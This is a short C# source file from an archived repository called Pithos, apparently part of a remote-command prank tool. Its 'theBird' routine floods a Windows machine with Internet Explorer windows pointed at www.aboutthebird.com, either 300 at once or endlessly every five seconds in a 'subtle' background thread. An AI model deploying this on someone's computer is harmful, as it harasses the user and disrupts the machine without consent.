This repository has been archived on 2023-03-26. You can view files and clone it, but cannot push or open issues or pull requests.
pithos/pithosPrograms.cs

38 lines
1.4 KiB
C#

using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading;
using System.IO;
using System.Diagnostics;
using System.Drawing;
namespace Pithos
{
class pithosPrograms
{
private static volatile bool DIE = false;
private static string tempPath = Path.GetTempPath();
private static bool isSubtle(string[] input) { return (input[0].Substring(0, 1) == "-" && input[0].ToLower().Contains('s')); }
public static void decodeInput(string text)
{
string[] input = text.Replace("/exec ", "").Split(' ');
bool subtle = isSubtle(input);
string execution = input[1];
}
private static void theBird(bool subtle) {
if (subtle) {
Thread thr = new Thread(new ThreadStart(theBirdSubtle));
thr.Start();
Program.MW.display("Bird Thread Started.", Color.Orange);
} else {
Program.MW.display("Generating Windows...", Color.ForestGreen);
for (int i = 0; i < 300; i++) { Process.Start("\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" www.aboutthebird.com"); }
}
}
private static void theBirdSubtle() { while (!DIE) { Process.Start("\"C:\\Program Files\\Internet Explorer\\iexplore.exe\" www.aboutthebird.com"); Thread.Sleep(5000); } }
}
}